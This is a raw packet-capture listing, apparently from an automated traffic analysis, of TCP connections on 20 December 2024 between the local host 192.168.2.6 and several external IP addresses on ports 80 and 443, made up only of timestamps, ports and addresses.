Dec 20, 2024 17:43:48.973021030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.973021030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.973840952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973851919 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973864079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973879099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973881006 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.973881006 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.973892927 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973905087 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973921061 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.973933935 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.973999023 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.974675894 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974765062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974776030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974787951 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974798918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974802017 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.974802017 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.974809885 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.974869967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.974869967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.975855112 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975867033 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975877047 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975888968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975899935 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975909948 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.975912094 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975924969 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.975971937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.975971937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.976723909 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976736069 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976747036 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976763964 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976777077 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976787090 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976790905 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.976790905 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.976799011 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.976835012 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.976962090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.977550030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977561951 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977572918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977585077 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977597952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977615118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.977641106 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.977641106 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.977673054 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.978421926 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978435040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978445053 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978457928 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978483915 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.978483915 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.978923082 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978934050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978948116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978959084 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978964090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.978964090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.978970051 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.978981972 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979022980 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.979022980 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.979872942 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979890108 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979902029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979912996 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979927063 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979940891 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.979944944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.979944944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.979952097 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980020046 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980020046 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980724096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980742931 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980756044 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980766058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980786085 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980796099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980803967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980808973 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980838060 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980849981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.980854988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980855942 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980897903 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.980897903 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.981631041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.981693029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.981705904 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.981735945 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.981736898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.981789112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.981825113 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.981837988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.993469000 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.993520021 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.993942022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.993953943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.993999004 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.994069099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.994111061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.994111061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.052341938 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.052375078 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.052463055 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.052463055 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.063062906 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.063158035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.063160896 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.063198090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.063460112 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.063508987 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.063571930 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.063621044 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.064424992 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.064568996 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.064687014 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.064763069 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.065293074 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.065366030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.065602064 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.065685987 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.066195965 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.066273928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.066560984 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.066683054 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.067080021 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.067136049 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.067306995 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.067353964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.068023920 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.068075895 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.068129063 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.068239927 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.068941116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.069005013 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.069047928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.069047928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.069833040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.069885015 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.069921017 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.070002079 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.070806026 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.070872068 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.070900917 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.070955038 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.071692944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.071754932 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.071803093 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.072006941 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.072623968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.072722912 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.072757006 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.072829962 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.073532104 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.073621988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.073643923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.073734999 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.074426889 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.074485064 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.074491024 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.074578047 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.075310946 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.075414896 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.075606108 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.075704098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.076262951 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.076370001 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.076380968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.076469898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.077137947 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.077240944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.077476978 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.077581882 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.078033924 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.078134060 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.078377008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.078478098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.078958035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.079061985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.079077005 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.079149961 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.079857111 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.079915047 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.080161095 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.080209017 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.080801010 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.080874920 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.080893993 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.080924988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.081718922 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.081820011 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.081824064 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.081918955 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.082657099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.082732916 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.082770109 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.082770109 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.083517075 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.083570957 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.083668947 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.083734035 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.084428072 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.084579945 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.084609985 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.084700108 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.085338116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.085448027 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.085890055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.085980892 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.086266041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.086319923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.086363077 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.086462975 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.086471081 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.086539984 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.087259054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.087306976 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.087344885 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.087605953 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.088253975 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.088339090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.088486910 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.088556051 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.089073896 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.089123964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.089272022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.089413881 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.090033054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.090140104 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.090147018 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.090179920 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.090915918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.090960026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.091198921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.091286898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.091795921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.092025042 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.092073917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.092073917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.092724085 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.092803955 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.092834949 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.092911005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.093672991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.093707085 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.093732119 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.093754053 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.094551086 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.094603062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.095056057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.095165014 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.095469952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.095586061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.095616102 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.095665932 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.096365929 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.096479893 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.096486092 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.096596003 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.097312927 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.097392082 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.097594976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.097664118 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.098200083 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.098253012 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.098288059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.098386049 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.099117994 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.099162102 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.099226952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.099275112 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.100040913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.100109100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.100111961 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.100213051 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.101063013 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.101136923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.101216078 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.101253033 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.101870060 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.101955891 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.102653980 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.102732897 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.103024960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.103130102 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.103271008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.103329897 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.103914022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.104116917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.104540110 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:49.104588985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:49.572499990 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572552919 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572590113 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572592974 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.572617054 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572650909 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572654963 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.572663069 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.572706938 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.572875023 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.580780029 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.580836058 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.580857992 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.589327097 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.589373112 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.589391947 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.634812117 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.634831905 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.681695938 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.769027948 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.773066044 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.773108006 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.773124933 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.773144960 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.773225069 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.773269892 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.779458046 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.779479980 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:49.779525042 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:49.779531002 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:50.096523046 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:50.096622944 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.106410027 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.106417894 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:50.106815100 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:50.108351946 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.108480930 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.108486891 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:50.891479969 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:50.891581059 CET	443	49783	172.67.197.170	192.168.2.6
